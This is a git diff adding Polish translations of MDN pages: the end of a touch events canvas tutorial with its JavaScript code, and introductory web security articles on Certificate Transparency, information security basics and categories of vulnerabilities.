+ Twoja przeglądarka nie wspiera elementu kanwa (canvas).
+&lt;/canvas&gt;
+&lt;br&gt;
+&lt;button onclick="startup()"&gt;Initialize&lt;/button&gt;
+&lt;br&gt;
+Log: &lt;pre id="log" style="border: 1px solid #ccc;"&gt;&lt;/pre&gt;
+</pre>
+
+<h3 id="Ustawianie_funkcji_do_obsługi_zdarzeń">Ustawianie funkcji do obsługi zdarzeń</h3>
+
+<p>Kiedy strona się ładuje, pokazana niżej funkcja <code>startup()</code> powinna być wywołana przez atrybut <code>onload</code> naszego elementu {{HTMLElement("body")}} (choć w przykładzie używamy przycisku do jej uruchomienia, ze względu na ograniczenia systemu przykłądów w MDN).</p>
+
+<pre class="brush: js">function startup() {
+ var el = document.getElementsByTagName("canvas")[0];
+ el.addEventListener("touchstart", handleStart, false);
+ el.addEventListener("touchend", handleEnd, false);
+ el.addEventListener("touchcancel", handleCancel, false);
+ el.addEventListener("touchmove", handleMove, false);
+ console.log("initialized.");
+}
+</pre>
+
+<p>Funkcja ta po prostu ustawia nasłluchiwanie zdarzeń dla naszego elementu {{HTMLElement("canvas")}}, tak że możemy obsłużyć zdarzenia dotykowe, kiedy się pojawią.</p>
+
+<h4 id="Śledzenie_nowych_zdarzeń">Śledzenie nowych zdarzeń</h4>
+
+<p>We'll keep track of the touches in-progress.</p>
+
+<pre class="brush: js">var ongoingTouches = [];
+</pre>
+
+<p>When a {{event("touchstart")}} event occurs, indicating that a new touch on the surface has occurred, the <code>handleStart()</code> function below is called.</p>
+
+<pre class="brush: js">function handleStart(evt) {
+ evt.preventDefault();
+ console.log("touchstart.");
+ var el = document.getElementsByTagName("canvas")[0];
+ var ctx = el.getContext("2d");
+ var touches = evt.changedTouches;
+
+ for (var i = 0; i &lt; touches.length; i++) {
+ console.log("touchstart:" + i + "...");
+ ongoingTouches.push(copyTouch(touches[i]));
+ var color = colorForTouch(touches[i]);
+ ctx.beginPath();
+ ctx.arc(touches[i].pageX, touches[i].pageY, 4, 0, 2 * Math.PI, false); // a circle at the start
+ ctx.fillStyle = color;
+ ctx.fill();
+ console.log("touchstart:" + i + ".");
+ }
+}
+</pre>
+
+<p>This calls {{domxref("event.preventDefault()")}} to keep the browser from continuing to process the touch event (this also prevents a mouse event from also being delivered). Then we get the context and pull the list of changed touch points out of the event's {{domxref("TouchEvent.changedTouches")}} property.</p>
+
+<p>After that, we iterate over all the {{domxref("Touch")}} objects in the list, pushing them onto an array of active touch points and drawing the start point for the draw as a small circle; we're using a 4-pixel wide line, so a 4 pixel radius circle will show up neatly.</p>
+
+<h4 id="Drawing_as_the_touches_move">Drawing as the touches move</h4>
+
+<p>Each time one or more fingers moves, a {{event("touchmove")}} event is delivered, resulting in our <code>handleMove()</code> function being called. Its responsibility in this example is to update the cached touch information and to draw a line from the previous position to the current position of each touch.</p>
+
+<pre class="brush: js">function handleMove(evt) {
+ evt.preventDefault();
+ var el = document.getElementsByTagName("canvas")[0];
+ var ctx = el.getContext("2d");
+ var touches = evt.changedTouches;
+
+ for (var i = 0; i &lt; touches.length; i++) {
+ var color = colorForTouch(touches[i]);
+ var idx = ongoingTouchIndexById(touches[i].identifier);
+
+ if (idx &gt;= 0) {
+ console.log("continuing touch "+idx);
+ ctx.beginPath();
+ console.log("ctx.moveTo(" + ongoingTouches[idx].pageX + ", " + ongoingTouches[idx].pageY + ");");
+ ctx.moveTo(ongoingTouches[idx].pageX, ongoingTouches[idx].pageY);
+ console.log("ctx.lineTo(" + touches[i].pageX + ", " + touches[i].pageY + ");");
+ ctx.lineTo(touches[i].pageX, touches[i].pageY);
+ ctx.lineWidth = 4;
+ ctx.strokeStyle = color;
+ ctx.stroke();
+
+ ongoingTouches.splice(idx, 1, copyTouch(touches[i])); // swap in the new touch record
+ console.log(".");
+ } else {
+ console.log("can't figure out which touch to continue");
+ }
+ }
+}
+</pre>
+
+<p>This iterates over the changed touches as well, but it looks in our cached touch information array for the previous information about each touch in order to determine the starting point for each touch's new line segment to be drawn. This is done by looking at each touch's {{domxref("Touch.identifier")}} property. This property is a unique integer for each touch, and remains consistent for each event during the duration of each finger's contact with the surface.</p>
+
+<p>This lets us get the coordinates of the previous position of each touch and use the appropriate context methods to draw a line segment joining the two positions together.</p>
+
+<p>After drawing the line, we call <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/splice"><code>Array.splice()</code></a> to replace the previous information about the touch point with the current information in the <code>ongoingTouches</code> array.</p>
+
+<h4 id="Handling_the_end_of_a_touch">Handling the end of a touch</h4>
+
+<p>When the user lifts a finger off the surface, a {{event("touchend")}} event is sent. We handle this by calling the <code>handleEnd()</code> function below. Its job is to draw the last line segment for each touch that ended and remove the touch point from the ongoing touch list.</p>
+
+<pre class="brush: js">function handleEnd(evt) {
+ evt.preventDefault();
+ log("touchend");
+ var el = document.getElementsByTagName("canvas")[0];
+ var ctx = el.getContext("2d");
+ var touches = evt.changedTouches;
+
+ for (var i = 0; i &lt; touches.length; i++) {
+ var color = colorForTouch(touches[i]);
+ var idx = ongoingTouchIndexById(touches[i].identifier);
+
+ if (idx &gt;= 0) {
+ ctx.lineWidth = 4;
+ ctx.fillStyle = color;
+ ctx.beginPath();
+ ctx.moveTo(ongoingTouches[idx].pageX, ongoingTouches[idx].pageY);
+ ctx.lineTo(touches[i].pageX, touches[i].pageY);
+ ctx.fillRect(touches[i].pageX - 4, touches[i].pageY - 4, 8, 8); // and a square at the end
+ ongoingTouches.splice(idx, 1); // remove it; we're done
+ } else {
+ console.log("can't figure out which touch to end");
+ }
+ }
+}
+</pre>
+
+<p>This is very similar to the previous function; the only real differences are that we draw a small square to mark the end and that when we call <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/splice"><code>Array.splice()</code></a>, we simply remove the old entry from the ongoing touch list, without adding in the updated information. The result is that we stop tracking that touch point.</p>
+
+<h4 id="Handling_canceled_touches">Handling canceled touches</h4>
+
+<p>If the user's finger wanders into browser UI, or the touch otherwise needs to be canceled, the {{event("touchcancel")}} event is sent, and we call the <code>handleCancel()</code> function below.</p>
+
+<pre class="brush: js">function handleCancel(evt) {
+ evt.preventDefault();
+ console.log("touchcancel.");
+ var touches = evt.changedTouches;
+
+ for (var i = 0; i &lt; touches.length; i++) {
+  var idx = ongoingTouchIndexById(touches[i].identifier);
+ ongoingTouches.splice(idx, 1); // remove it; we're done
+ }
+}
+</pre>
+
+<p>Since the idea is to immediately abort the touch, we simply remove it from the ongoing touch list without drawing a final line segment.</p>
+
+<h3 id="Convenience_functions">Convenience functions</h3>
+
+<p>This example uses two convenience functions that should be looked at briefly to help make the rest of the code more clear.</p>
+
+<h4 id="Selecting_a_color_for_each_touch">Selecting a color for each touch</h4>
+
+<p>In order to make each touch's drawing look different, the <code>colorForTouch()</code> function is used to pick a color based on the touch's unique identifier. This identifier is an opaque number, but we can at least rely on it differing between the currently-active touches.</p>
+
+<pre class="brush: js">function colorForTouch(touch) {
+ var r = touch.identifier % 16;
+ var g = Math.floor(touch.identifier / 3) % 16;
+ var b = Math.floor(touch.identifier / 7) % 16;
+ r = r.toString(16); // make it a hex digit
+ g = g.toString(16); // make it a hex digit
+ b = b.toString(16); // make it a hex digit
+ var color = "#" + r + g + b;
+ console.log("color for touch with identifier " + touch.identifier + " = " + color);
+ return color;
+}
+</pre>
+
+<p>The result from this function is a string that can be used when calling {{HTMLElement("canvas")}} functions to set drawing colors. For example, for a {{domxref("Touch.identifier")}} value of 10, the resulting string is "#a31".</p>
+
+<h4 id="Copying_a_touch_object">Copying a touch object</h4>
+
+<p>Some browsers (mobile Safari, for one) re-use touch objects between events, so it's best to copy the bits you care about, rather than referencing the entire object.</p>
+
+<pre class="brush: js">function copyTouch(touch) {
+ return { identifier: touch.identifier, pageX: touch.pageX, pageY: touch.pageY };
+}</pre>
+
+<h4 id="Finding_an_ongoing_touch">Finding an ongoing touch</h4>
+
+<p>The <code>ongoingTouchIndexById()</code> function below scans through the <code>ongoingTouches</code> array to find the touch matching the given identifier, then returns that touch's index into the array.</p>
+
+<pre class="brush: js">function ongoingTouchIndexById(idToFind) {
+ for (var i = 0; i &lt; ongoingTouches.length; i++) {
+ var id = ongoingTouches[i].identifier;
+
+ if (id == idToFind) {
+ return i;
+ }
+ }
+ return -1; // not found
+}
+</pre>
+
+<h4 id="Showing_whats_going_on">Showing what's going on</h4>
+
+<pre class="brush: js">function log(msg) {
+ var p = document.getElementById('log');
+ p.innerHTML = msg + "\n" + p.innerHTML;
+}</pre>
+
+<p>If your browser supports it, you can {{LiveSampleLink('Example', 'see it live')}}.</p>
+
+<p><a href="http://jsfiddle.net/Darbicus/z3Xdx/10/">jsFiddle example</a></p>
+
+<h2 id="Dodatkowe_wskazówki">Dodatkowe wskazówki</h2>
+
+<p>This section provides additional tips on how to handle touch events in your web application.</p>
+
+<h3 id="Obsługa_kliknięć">Obsługa kliknięć</h3>
+
+<p>Since calling <code>preventDefault()</code> on a {{event("touchstart")}} or the first {{event("touchmove")}} event of a series prevents the corresponding mouse events from firing, it's common to call <code>preventDefault()</code> on {{event("touchmove")}} rather than {{event("touchstart")}}. That way, mouse events can still fire and things like links will continue to work. Alternatively, some frameworks have taken to refiring touch events as mouse events for this same purpose. (This example is oversimplified and may result in strange behavior. It is only intended as a guide.)</p>
+
+<pre class="brush: js">function onTouch(evt) {
+ evt.preventDefault();
+ if (evt.touches.length &gt; 1 || (evt.type == "touchend" &amp;&amp; evt.touches.length &gt; 0))
+ return;
+
+ var newEvt = document.createEvent("MouseEvents");
+ var type = null;
+ var touch = null;
+
+ switch (evt.type) {
+ case "touchstart":
+ type = "mousedown";
+ touch = evt.changedTouches[0];
+ break;
+ case "touchmove":
+ type = "mousemove";
+ touch = evt.changedTouches[0];
+ break;
+ case "touchend":
+ type = "mouseup";
+ touch = evt.changedTouches[0];
+ break;
+ }
+
+ newEvt.initMouseEvent(type, true, true, evt.originalTarget.ownerDocument.defaultView, 0,
+ touch.screenX, touch.screenY, touch.clientX, touch.clientY,
+ evt.ctrlKey, evt.altKey, evt.shiftKey, evt.metaKey, 0, null);
+ evt.originalTarget.dispatchEvent(newEvt);
+}
+</pre>
+
+<h3 id="Calling_preventDefault_only_on_a_second_touch">Calling preventDefault() only on a second touch</h3>
+
+<p>One technique for preventing things like <code>pinchZoom</code> on a page is to call <code>preventDefault()</code> on the second touch in a series. This behavior is not well defined in the touch events spec, and results in different behavior for different browsers (i.e., iOS will prevent zooming but still allow panning with both fingers; Android will allow zooming but not panning; Opera and Firefox currently prevent all panning and zooming.) Currently, it's not recommended to depend on any particular behavior in this case, but rather to depend on meta viewport to prevent zooming.</p>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Touch Events 2', '#touch-interface', 'Touch')}}</td>
+ <td>{{Spec2('Touch Events 2')}}</td>
+ <td>Added <code>radiusX</code>, <code>radiusY</code>, <code>rotationAngle</code>, <code>force</code> properties</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('Touch Events', '#touch-interface', 'Touch')}}</td>
+ <td>{{Spec2('Touch Events')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2>
+
+<h3 id="Touch"><code>Touch</code></h3>
+
+<p>Touch events are typically available on devices with a touch screen, but many browsers make the touch events API unavailable on all desktop devices, even those with touch screens.</p>
+
+<p>The reason for this is that some websites use the availability of parts of the touch events API as an indicator that the browser is running on a mobile device. If the touch events API is available, these websites will assume a mobile device and serve mobile-optimised content. This may then provide a poor experience for users of desktop devices that have touch screens.</p>
+
+<p>To support both touch and mouse across all types of device, use <a href="/en-US/docs/Web/API/Pointer_events">pointer events</a> instead.</p>
+
+
+
+<p>{{Compat("api.Touch")}}</p>
+
+<h3 id="Firefox_touch_events_and_multiprocess_e10s">Firefox, touch events, and multiprocess (e10s)</h3>
+
+<p>In Firefox, touch events are disabled when e10s (electrolysis; <a href="/en-US/docs/Mozilla/Firefox/Multiprocess_Firefox">multiprocess Firefox</a>) is disabled. e10s is on by default in Firefox, but can end up becoming disabled in certain situations, for example when certain accessibility tools or Firefox add-ons are installed that require e10s to be disabled to work. This means that even on a touchscreen-enabled desktop/laptop, touch events won't be enabled.</p>
+
+<p>You can test whether e10s is disabled by going to <code>about:support</code> and looking at the "Multiprocess Windows" entry in the "Application Basics" section. 1/1 means it is enabled, 0/1 means disabled.</p>
+
+<p>If you want to force e10s to be on — to explicitly re-enable touch events support — you need to go to <code>about:config</code> and create a new Boolean preference <code>browser.tabs.remote.force-enable</code>. Set it to <code>true</code>, restart the browser, and e10s will be enabled regardless of any other settings.</p>
diff --git a/files/pl/web/bezpieczeństwo/certificate_transparency/index.html b/files/pl/web/bezpieczeństwo/certificate_transparency/index.html
new file mode 100644
index 0000000000..7a9b814c43
--- /dev/null
+++ b/files/pl/web/bezpieczeństwo/certificate_transparency/index.html
@@ -0,0 +1,63 @@
+---
+title: Certificate Transparency
+slug: Web/Bezpieczeństwo/Certificate_Transparency
+tags:
+ - Bezpieczeństwo
+ - Web
+ - bezpieczeństwo aplikacji WWW
+translation_of: Web/Security/Certificate_Transparency
+---
+<p><span class="seoSummary"><strong>Certyfikat Przejrzystości (Certificate Transparency)</strong></span> to otwarta platforma programistyczna (framework) stworzona do ochrony oraz monitorowania braków w certyfikacji. Świeżo wydane certyfikaty dostają się do obiegu publicznego, często niezależne logi CT zostają wpisane do rejestru, przez co zachowany zostaje zabezpieczony kryptograficznie rekord certyfikatów TLS.</p>
+
+<p>W ten sposób organy certyfikujące (CA) mogą podlegać znacznie większemu, publicznemu nadzorowi i kontroli. Potencjalnie szkodliwe certyfikaty, jak te, które naruszają <em>Podstawowe Wymogi </em>CA/B Forum mogą zostać znacznie sprawniej wykryte i cofnięte. Podmioty zajmujące się sprzedażą przeglądarek oraz opiekuni certyfikatów zaufanych są również uprawnieni do podejmowania gruntowniej popartych decyzji dot. problematycznych organów certyfikujących, którym mogą odmowić zaufania.</p>
+
+<h2 id="Kontekst">Kontekst</h2>
+
+<p>Logi CT są budowane w ramach struktury danych drzewa Merkla (Merkle tree). Węzły są oznaczane hashami kryptograficznymi ich węzłów potomnych. Liście (leaf nodes) zawierają hashe aktualnych części danych. Oznaczenie węzła głównego (root node) zależy jednakże od wszystkich pozostałych węzłów w drzewie.</p>
+
+<p>W kontekście przejrzystości certyfikacji dane hashowane przez liście są certyfikatami wydawanymi obecnie przez różne CA. Obecność certyfikatu może zostać zweryfikowana przez <em>dowód kontroli </em>skutecznie generowany i weryfikowany w czasie działania logarytmicznego - logarithmic O(log n) time.</p>
+
+<p>Pierwotnie, w 2013 roku przejrzystość certyfikacji służyła przeciwdziałaniu narażania CA (naruszenia DigiNotar w 2011 roku), wątpliwym decyzjom (incydent Trustwave subordinate root w 2012 roku) oraz technicznym problemom wydawniczym (emisja słabego, 512-bitowego certyfikatu przez Digicert Sdn Bhd w Malezji)</p>
+
+<h2 class="western" id="Wdrożenie">Wdrożenie</h2>
+
+<p>Gdy certyfikaty zostają dostarczone do rejestru CT, <em>znacznik SCT</em> (<em>signed certificate timestamp</em>) zostaje wygenerowany i zwrócony. Służy to jako dowód, że certyfikat został dostarczony i zostanie dodany do rejestru.</p>
+
+<p>Wg specyfikacji podczas komunikacji serwery zgodne muszą dostarczać numery tych SCTów do klientów TLS. Może do tego dojść na kilka różnych sposobów:</p>
+
+<ul>
+ <li>rozszerzenie certyfikatu X.509v3, które umieszczają znaczniki SCT bezpośrednio do certyfikatów liści</li>
+ <li>rozszerzenie TLS typu <code>signed_certificate_timestamp</code> wysyłane podczas uzgadniania (handshake)</li>
+ <li>"zszywanie" OCSP (rozszerzenie TLS <code>status_request</code>) i dostarczanie <code>SignedCertificateTimestampList</code> z jednym lub większą liczbą SCTsów</li>
+</ul>
+
+<p>Przy rozszerzeniu certyfikatu X.509 o włączonych SCTsach decydują organy certyfikujące. Przy stosowaniu tego typu mechanizmu nie powinna istnieć potrzeba modyfikacji serwerów webowych.</p>
+
+<p>W przypadku ostatnich metod serwery powinny być aktualizowane, aby móc wysyłać żądane dane. Korzyść stanowi fakt, że operator serwera może modyfikować źródła rejestru CT dostarczając SCTsy wysyłane przez rozszerzenie TLS/"zszytą" odpowiedź OCSP.</p>
+
+<h2 id="Wymagania_przeglądarki">Wymagania przeglądarki</h2>
+
+<p>Google Chrome wymaga umieszczania rejestru CT dla wszystkich kwestii związanych z emisjami certyfkatów z datą notBefore po 30 kwietnia 2018 roku. Użytkownicy zostaną uchronieni przed odwiedzaniem stron używających niezgodnych certyfikatów TLS. Wcześniej Chrome wymagało umieszczania <em>Rozszerzonej Walidacji</em> (EV) oraz certyfikatów wydawanych przez Symantec.</p>
+
+<p>Apple <a href="https://support.apple.com/en-gb/HT205280">wymaga</a> zróżnicowanej liczby SCTsów dla Safari i innych serwerów celem zaufania certyfikatom.</p>
+
+<p>Firefox aktualnie ani <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1281469">nie sprawdza</a> ani nie wymaga stosowania rejestru CT dla stron odwiedzanych przez użytkowników.</p>
+
+<p>Nagłówek <a href="/en-US/docs/Web/HTTP/Headers/Expect-CT">Expect-CT </a>może zostać użyty do żądania, by przeglądarka zawsze wymuszała wymóg przejrzystości certyfikacji (np. w Chrome nawet, jeśli certyfikat został wydany z datą notBefore, przed kwietniem)</p>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ <tr>
+ <td><a class="external external-icon" href="https://tools.ietf.org/html/rfc6962" hreflang="en" lang="en" rel="noopener">Certificate Transparency</a></td>
+ <td><span class="spec-RFC">IETF RFC</span></td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
diff --git a/files/pl/web/bezpieczeństwo/index.html b/files/pl/web/bezpieczeństwo/index.html
new file mode 100644
index 0000000000..0d3cdd2c07
--- /dev/null
+++ b/files/pl/web/bezpieczeństwo/index.html
@@ -0,0 +1,24 @@
+---
+title: Bezpieczeństwo aplikacji WWW
+slug: Web/Bezpieczeństwo
+tags:
+ - Bezpieczeństwo
+ - Web
+ - bezpieczeństwo aplikacji WWW
+translation_of: Web/Security
+---
+<div class="summary">
+<p>Zapewnienie bezpieczeństwa Twojej strony lub aplikacji WWW jest niezwykle istotne. Nawet proste błędy w kodzie mogą skutkować wyciekiem prywatnych danych i ich kradzieżą przez nieodpowiednie osoby. Wymienione tutaj artykuły dot. bezpieczeństwa aplikacji WWW dostarczą Ci informacji, które mogą okazać się pomocne w zabezpieczeniu Twojej strony i jej kodu przez atakami i kradzieżą danych.</p>
+</div>
+
+<p>{{LandingPageListSubpages}}</p>
+
+<h2 id="Zobacz_również">Zobacz również</h2>
+
+<ul>
+ <li><a href="https://lists.mozilla.org/listinfo/dev-security">Mozilla mailing list</a></li>
+ <li><a href="https://blog.mozilla.com/security/">Blog</a></li>
+ <li><a href="https://twitter.com/mozsec">@mozsec on Twitter</a></li>
+</ul>
+
+<p>{{QuickLinksWithSubpages}}</p>
diff --git a/files/pl/web/bezpieczeństwo/podstawy_bezpieczenstwa_informacji/index.html b/files/pl/web/bezpieczeństwo/podstawy_bezpieczenstwa_informacji/index.html
new file mode 100644
index 0000000000..93555b6a71
--- /dev/null
+++ b/files/pl/web/bezpieczeństwo/podstawy_bezpieczenstwa_informacji/index.html
@@ -0,0 +1,36 @@
+---
+title: Podstawy bezpieczeństwa informacji
+slug: Web/Bezpieczeństwo/Podstawy_bezpieczenstwa_informacji
+tags:
+ - Bezpieczeństwo
+ - Początkujący
+ - bezpieczeństwo aplikacji WWW
+translation_of: Web/Security/Information_Security_Basics
+---
+<p>Podstawowa znajomość bezpieczeństwa informacji może pomóc Ci uniknąć pozostawiania Twojego oprogramowania i stron WWW niezabezpieczonych oraz zawierających podatności, które później mogą zostać wykorzystane do osiągnięcia korzyści finansowych lub do innych, podejrzanych celów. Te arykuły mogą Ci pomóc zdobyć potrzebną bazę wiedzy.Dzięki zapoznaniu się z nimi będziesz świadomy/a, jak ważne jest bezpieczeństwo podczas tworzenia stron WWW oraz podczas implementacji treści.</p>
+
+<dl>
+ <dt><a href="/en-US/Learn/Confidentiality,_Integrity,_and_Availability">Poufność, Integralność i Dostępność</a></dt>
+ <dd>
+ <p>Opisuje najważniejsze cele bezpieczeństwa, które są absolutnie niezbędne do zrozumienia istoty bezpieczeństwa</p>
+ </dd>
+ <dt><a href="/en-US/Learn/Vulnerabilities">Podatności</a></dt>
+ <dd>Definiuje główne kategorie podatności i omawia obecność podatności w każdym oprogramowaniu</dd>
+ <dt><a href="/en-US/Learn/Threats">Zagrożenia</a></dt>
+ <dd>Krótko przedstawia główne zagrożenia</dd>
+ <dt><a href="/en-US/Learn/Security_Controls">Kontrole Bezpieczeństwa</a></dt>
+ <dd>Definiuje główne kategorie kontroli bezpieczeństwa i omawia ich potencjalne wady</dd>
+ <dt><a href="/en-US/Learn/TCP_IP_Security">Bezpieczeństwo TCP/IP</a></dt>
+ <dd>Zarys modelu TCP/IP z naciskiem na aspekty bezpieczeństwa SSL</dd>
+</dl>
+
+<h2 id="Zobacz_również">Zobacz również</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Mozilla/Security">Bezpieczeństwo przeglądarek</a></li>
+ <li><a href="/en-US/docs/Web/Security">Bezpieczeństwo webowe</a></li>
+ <li><a href="/en-US/docs/Web/Security/Securing_your_site">Zabezpieczanie Twojej strony WWW</a></li>
+ <li><a href="/en-US/docs/Security/Firefox_Security_Basics_For_Developers">Podstawy Bezpieczeństwa Firefoxa dla Developerów</a></li>
+</ul>
+
+<p>{{QuickLinksWithSubpages("/en-US/docs/Web/Security")}}</p>
diff --git a/files/pl/web/bezpieczeństwo/podstawy_bezpieczenstwa_informacji/podatnosci/index.html b/files/pl/web/bezpieczeństwo/podstawy_bezpieczenstwa_informacji/podatnosci/index.html
new file mode 100644
index 0000000000..772145243a
--- /dev/null
+++ b/files/pl/web/bezpieczeństwo/podstawy_bezpieczenstwa_informacji/podatnosci/index.html
@@ -0,0 +1,100 @@
+---
+title: Podatności
+slug: Web/Bezpieczeństwo/Podstawy_bezpieczenstwa_informacji/Podatnosci
+tags:
+ - Bezpieczeństwo
+ - Początkujący
+ - Tutorial
+ - bezpieczeństwo aplikacji WWW
+ - podatności
+ - samouczek
+translation_of: Archive/Security/Vulnerabilities
+---
+<div class="summary">
+<p>Niniejszy artykuł tłumaczy czym są podatności i omawia ich występowanie we wszystkich systemach.</p>
+
+<p>Podatność to słabość systemu, która może zostać wykorzystana do naruszenia poufności, integralności i/lub dostępności. Podatności można kategoryzować na wiele sposobów. W tym artykule użyjemy trzech kategorii najwyższego ryzyka: usterki oprogramowania, problemy przy konfiguracji zabezpieczeń i nadużycie funkcji oprogramowania. Kategorie te zostały umówione poniżej.</p>
+</div>
+
+<h2 id="Kategorie_podatności">Kategorie podatności</h2>
+
+<p><em>Usterki oprogramowania</em> są wynikiem niezamierzonego błędu w architekturze lub samym kodzie oprogramowania. Jako przykład może posłużyć błąd przy weryfikacji wprowadzanych danych, np. kiedy dane wprowadzane przez użytkownika nie są prawidłowo sprawdzane pod kątem prób wprowadzania szkodliwych stringów używających nieporządanych znaków czy zbyt długich wartości wiązanych ze znanymi atakami. Inny przykład to błąd dopuszczający sytuację wyścigu ("race condition"), przez który atakujący może przeprowadzić określone działanie posiadając podniesione uprawnienia.</p>
+
+<p>Ustawienia konfiguracji bezpieczeństwa to element bezpieczeństwa oprogramowania który może zostać zmieniony przez samo oprogramowanie. Przykłady ustawień to np. system operacyjny oferujący dostęp do listy kontrolnej przydzielającej prawa użytkowników do odczytu i modyfikacji plików oraz np. aplikacja dopuszczająca umożliwianie lub uniemożliwianie szyfrowania danych wrażlliwych znajdujących się w aplikacji.</p>
+
+<p><em>Problemy przy konfiguracji zabezpieczeń </em>to m.in. używanie ustawień konfiguracji bezpieczeństwa w sposób, który ma negatywny wpływ na bezpieczeństwo oprogramowania.</p>
+
+<p>Cecha oprogamowania to możliwość funkcyjna udostępniona przez oprogramowanie. <em>Podatność na nadużycie funkcji oprogramowania</em> to taki typ podatności, w której dana funkcja stanowi dziurę bezpieczeństwa systemu. Tego typu podatności stwarza projektant oprogramowania, gdy aby uzyskać dodatkowe funkcje oprogramowania zakłada idylliczny scenariusz i ryzykuje tym samym podatność na ewentualne ataki.</p>
+
+<p>Na przykład, oprogramowanie klienckie email może zawierać funkcjonalność, która umożliwia wyrenderowanie treści HTML w wiadomościach email. Atakujący może w tej sytuacji stworzyć fałszywy mail zawierający hiperlink, który po wyrenderowaniu w HTML wygląda na nieszkodliwy, a w rzeczywistości po kliknięciu przekierowuje odbiorcę na szkodliwą stronę. Jednym z idyllicznych założeń w fazie projektowania funkcji renderowania treści HTML była myśl, że użytkownicy nie otrzymają szkodliwych hiperlinków i nie będą w nie klikać.</p>
+
+<p>Podatności nadużycia funkcji oprogramowania pojawiają się podczas projektowania oprogramowania lub jego komponentów (np. protokół, który oprogramowanie wdraża). Idylliczne założenia mogą być oczywiste - np. projektant jest świadomy słabości bezpieczeństwa i zakłada, że oddzielna kontrola bezpieczeństwa wystarczy.</p>
+
+<p>Często jednak założenia idylliczne są dwuznaczne, chociażby utworzenie funkcji bez wcześniejszego ocenienia ryzyka. Dodatkowo zagrożenia mogą się zmieniać w czasie życia oprogramowania czy protokołu w nim użytego.</p>
+
+<p>Przykład? Address Resolution Protocol (ARP) zakłada, że odpowiedź ARP zawiera prawidłowe mapowanie pomiędzy adresami Media Access Control (MAC) a Internet Protocol (IP). Cache ARP używają tej informacji, by umożliwić przydatne działanie - zezwolenie na wysyłanie danych pomiędzy urządzeniami w jednej sieci lokalnej. Jednakże atakujący mógłby wygenerować fałszywe komunikaty ARP celem zmylenia tabli systemowej ARP i w ten sposób przeporwadzić atak denial-of-service lub man-in-the-middle attack.</p>
+
+<p>Protokuł ARP został ustandaryzowany ponad 25 lat temu, a zagrożenia znacząco się od tego czasu zmieniły, więc założenia idylliczne, które były wówczas nie do uniknięcia dziś nie mają już raczej racji bytu.</p>
+
+<p>Może być ciężko odróżnić podatność nadużycia funkcji oprogramowania od pozostałych dwóch kategorii. Np. zarówno podatności związane z wadami, jak i nadużyciami mogą wynikać z braków w procesie projektowania oprogramowania. Jednakże wady oprogramowania są jednoznacznie negatywne - nie mają cech pozytywnych w odniesieniu do bezpieczeństwa czy funkcjonalności - podczas gdy podatności na nadużycia funkcji oprogramowania są wynikiem dostarczania dodatkowych funkcji.</p>
+
+<p>Mogą mylić podatności na nadużycia w odniesieniu do funkcji, które można odblokowywać lub zablokowywać - w rozumieniu, że są konfigurowalne - a kwestie konfiguracji bezpieczeństwa. Kluczową różnicą jest to, że przy podatności na nadużycia ustawienia bezpieczeństwa umożliwiają lub blokują całą funkcję, a nie wpływają jedynie na bezpieczeństwo. Podatność wynikająca z konfiguracji bezpieczeństwa dotyczy wyłącznie bezpieczeństwa.</p>
+
+<p>Np. ustawienie blokujące używanie HTML w mailach ma ogromny wpływ na zarówno kwestię bezpieczeństwa, jak i funkcjonalności. W tym przypadku podatność w odniesieniu do ustawienia będzie podatnością związaną z nadużyciem. Ustawienie blokujące funkcję antiphishingową w kliencie pocztowym ma ogromny wpływ wyłącznie na bezpieczeństwo, więc podatność dot. takiego ustawienia byłaby określona jako podatność w związku z konfiguracją bezpieczeństwa.</p>
+
+<h2 id="Obecność_podatności">Obecność podatności</h2>
+
+<p>Żaden system nie jest w 100% bezpieczny: każdy system ma podatności. W danym momencie system może nie posiadać żadnych widocznych wad, ale podatności na problemy z konfiguracją bezpieczeństwa i nadużycia funkcji oprogramowania są zawsze obecne.</p>
+
+<p>Podatność na nadużycia w przypadku funkcji oprogramowania jest nieodłączna, ponieważ każda funkcjonalność musi być opierana na założeniach idyllicznych - a te założenia mogą zostać złamane mimo dołożenia ogromnych wysiłków i poniesienia sporych kosztów. Kwestie konfiguracji bezpieczeństwa są nie do uniknięcia z dwóch powodów.</p>
+
+<p>Po pierwsze, wiele ustawień konfiguracyjnych zwiększa bezpieczeństwo kosztem funkcjonalności, więc używanie najbezpieczniejszych ustawień może doprowadzić do bezużyteczności oprogramowania. Po drugie, wiele ustawień bezpieczeństwa ma zarówno pozytywne, jak i negatywne kosekwencje względem bezpieczeństwa.</p>
+
+<p>Przykładem jest dopuszczona liczba następujących po sobie, nieudanych prób logowania na konto użytkownika zanim zostanie ono zablokowane. Ustawiając ją na 1 uzyskalibyśmy najbezpieczniejszą opcję przeciw atakom opartym na zgadywaniu haseł, ale jednocześnie blokowalibyśmy legalnych użytkowników po tym, jak jednokrotnie wpisaliby złe hasło. Co więcej, prawdopodobnie zachęciłoby to do używania przez atakujących ataków typu denial-of-service z racji łatwości generowania pojedynczej, nieudanej próby logowania dla wszystkich kont użytkowników.</p>
+
+<p>Z powodu liczby nieuniknionych podatności w ustawieniach konfiguracji bezpieczeństwa i możliwości nadużyć funkcji oprogramowania plus liczby podatności na wady oprogramowania w systemie niezależnie od czasu, każdy system może posiadać dziesiątki, jak nie setki podatności w jednym tylko systemie.</p>
+
+<p>Te podatności prawdopodobnie posiadają zróżnicowane cechy. Część będzie łatwa do wykorzystania, podczas gdy inne będą możliwe do wykorzystania jedynie w sytuacji zaistnienia kombinacji wysoce nieprawdopodobnych warunków.</p>
+
